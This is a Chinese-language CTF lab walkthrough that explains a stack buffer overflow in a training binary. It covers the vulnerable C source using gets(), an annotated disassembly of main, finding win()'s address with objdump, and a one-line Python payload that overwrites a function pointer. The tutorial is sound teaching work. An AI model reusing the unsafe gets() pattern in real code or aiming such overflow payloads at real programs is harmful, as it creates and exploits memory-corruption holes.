CTF PWN练习之函数指针改写

先介绍工具吧!

使用objdump工具可以查看一个目标文件的许多内部信息,objdump有许多可选的参数选项,通过控制这些参数选项可以输出不同的文件信息。

本实验的程序和代码位于/home/test/4目录下,执行objdump -d pwn4可以看到关于pwn4程序的反汇编指令列表,其中-d选项表示进行反汇编操作.

本文涉及相关实验:《CTF PWN练习之函数指针改写》(除了gdb之外,Linux还有许多工具可以帮助我们分析二进制文件。本实验将教会大家使用objdump来查找二进制程序中函数的地址信息,并通过修改函数指针变量的值为指定函数的地址来改写程序执行流程。)。

1.实验内容和步骤

大东:先来看题目描述 主机/home/test/4目录 下有一个pwn4程序,执行这个程序 可以 输入数据进行测试,当输入一定的数据量时 , 可能什么都不会提示程序就结束运行了,也可能会提示这样的信息:

calling function pointer, jumping to 0x41414141

Segmentation fault

当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息:

calling function pointer, jumping to 0x**XXXXXXXX**

Congratulations, you pwned it.

请对pwn4程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入 数据,使之 输出成功的提示信息。

开始做题吧,先看源码,使用cd /home/test/4切换到程序所在目录,执行cat pwn4.c 即可看到源代码:

#include <stdio.h>

#include <string.h>

typedef void (* func)();

void win()// 输出 成功提示信息的函数

{

printf("Congratulations, you pwned it.\n");

}

int main(int argc, char** argv)

{

func fp;

char buffer[64];

fp = NULL;

gets(buffer); // 可引发缓冲区溢出

if (fp) // 判断函数指针变量fp是否不为NULL

{

printf("calling function pointer, jumping to 0x%08X\n", fp);

fp(); // 调用 fp

}

return 0;

}

程序定义了一个与buffer相邻的函数指针变量fp, 然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,fp 变量的值可以被改写,当fp 的值被改写为 win 函数的地址时,就可以输出成功提示的信息。

继续来看分析,执行gdb pwn4即可开始通过gdb对 pwn4进行调试,现在我们需要阅读main函数的汇编代码 ,在gdb中执行disas main命令即可:

大东:下面是对main函数中的汇编代码的解释:

0x08048428 <+0>: push %ebp

0x08048429 <+1>: mov %esp,%ebp

0x0804842b <+3>: and $0xfffffff0,%esp

; 在栈上开辟0x60字节的空间

0x0804842e <+6>: sub $0x60,%esp

; 初始化fp的值为NULL,其中fp位于[esp+0x5c]

0x08048431 <+9>: movl $0x0,0x5c(%esp)

; 执行gets(buffer),其中buffer位于[esp+0x1c]

0x08048439 <+17>: lea 0x1c(%esp),%eax

0x0804843d <+21>: mov %eax,(%esp)

0x08048440 <+24>: call 0x8048320 < gets@plt>

; 判断fp是否为NULL

0x08048445 <+29>: cmpl $0x0,0x5c(%esp)

0x0804844a <+34>: je 0x8048467 < main+63>

0x0804844c <+36>: mov $0x8048554,%eax

0x08048451 <+41>: mov 0x5c(%esp),%edx

0x08048455 <+45>: mov %edx,0x4(%esp)

0x08048459 <+49>: mov %eax,(%esp)

0x0804845c <+52>: call 0x8048340 < printf@plt>

; 执行fp()

0x08048461 <+57>: mov 0x5c(%esp),%eax

0x08048465 <+61>: call *%eax

0x08048467 <+63>: mov $0x0,%eax

0x0804846c <+68>: leave

0x0804846d <+69>: ret

通过对上面的汇编代码进行分析, 我们知道buffer位于esp+0x1c处,而fp位于esp+0x5 c处,两个地址的距离为0x5 c - 0x1c = 0x40,即64,刚好为buffer数组的大小。 因此当输入数据的长度超过64字节 时,fp 变量 就可以被覆盖,但需要控制fp变量的值还需要小心的构造数据。我们只要合理控制 环境变量参数的第65~68字节的内容, 就可以成功发起溢出攻击了。

通过上面的步骤我们已经知道,只要合理控制输入 数据的第 65~68字节的内容,就可以成功发起 溢出攻击了 。现在的问题是找到函数win的地址信息,然后将fp的值改写为win函数的地址,这样就可以达到调用win函数的目的了。前面 提到过使用objdump可以查看函数的地址,现在在shell中执行objdump -d pwn4,然后在输出 信息中找到win函数的信息:

可以看到win函数的地址为0x08048414,因为机器采用小端格式,因此执行下面的语句就可以成功发起溢出攻击了:

python -c "print 'A'*64+'\x14\x84\x04\x08'" | ./pwn4

攻击效果如下图所示:

PWN类型的题目是CTF中的一个难点,要多下功夫。这次实验需要重点注意fp变量和汇编代码的分析

(0)

相关推荐

  • PWN之Canary学习

    Canary 参考链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/ 0x1 简介: 用于防止栈溢出被利用的一 ...

  • CPU 指令

    表白:黑白圣堂血天使,天剑鬼刀阿修罗.  讲解对象:/CPU 指令 作者:融水公子 rsgz 汇编教程 汇编教程 http://www.rsgz.top/post/91.html 我们通过函数来理解一 ...

  • C 为什么每个对象都有一个虚函数指针?

    首先明确两个概念. ① 虚函数地址存放在虚函数表.多态需要通过虚函数和虚函数表实现. ② 类的对象内部,会有指向类内部的虚表地址指针,这个指针的作用就是调用虚函数.而虚函数的调用,会被编译器转换为对虚 ...

  • CTF PWN练习之绕过返回地址限制

    先介绍一些这个实验要知道的一些东西 builtin_return_address函数 builtin_return_address函数接收一个参数,可以是0,1,2等.__builtin_return ...

  • CTF PWN练习之返回地址覆盖

    今天进行的实验是CTF PWN练习之返回地址覆盖,来体验一下新的溢出方式. 学习地址覆盖之前还有些小知识需要掌握,不然做题的时候你肯定一脸懵逼,首先是函数调用约定,然后还要知道基本的缓冲区溢出攻击模型 ...

  • CTF PWN练习之环境变量继承

    今天的实验和上次学习的精确覆盖变量数据有关,CTF PWN练习中的环境变量继承.这个题目有联系到环境变量参数,我们需要知道在Linux/Windows操作系统中, 每个进程都有其各自的环境变量设置.缺 ...

  • CTF PWN之精确覆盖变量数据

    刚开始接触pwn的朋友在做pwn练习时可能会有这样的疑问,怎么做到精确覆盖变量数据呢? 我们做pwn练习之前需要先知道:命令行参数C语言的main函数拥有两个参数,为int类型的argc参数,以及ch ...

  • C语言系列_9:函数指针,函数指针数组和回调函数

    (5)函数指针 A:什么是函数指针 数组指针是指向数组的,函数指针就是指向函数的,也就是函数也是有自己的地址的 这里要注意一点,数组的时候&数组名是数组的地址,数组名是数组首元素的地址. 而函 ...

  • C语言函数指针简单示例

    /* C语言函数指针简单示例 学习了数组之后,我们知道数组是在内存中申请一块内存空间:数组名代表内存块的首地址,通过数组名可以访问内存块中的数据. 那么,对于函数,它也是存放在内存块中的一段数据.例如 ...

  • 嵌入式中的合作开发——函数指针

    在嵌入式软件开发中,一个项目往往需要多人协作完成. 比如A需要完成项目的整体逻辑功能,而整个逻辑功能包含许多具体的小功能,但A又没有时间或能力来实现这些小功能,这时可以让B来协助实现函数内部的功能. ...

  • 【重要】指针函数与函数指针?

    常持正念方圆梦:不忘初心总是春. 1 前言 数组.指针,这两个词结合的顺序不同,其意义也不同.具体有何不同之处可移步至数组指针与指针数组?进行查看. 同样的,函数.指针这两个词结合的顺序不同其意义也不 ...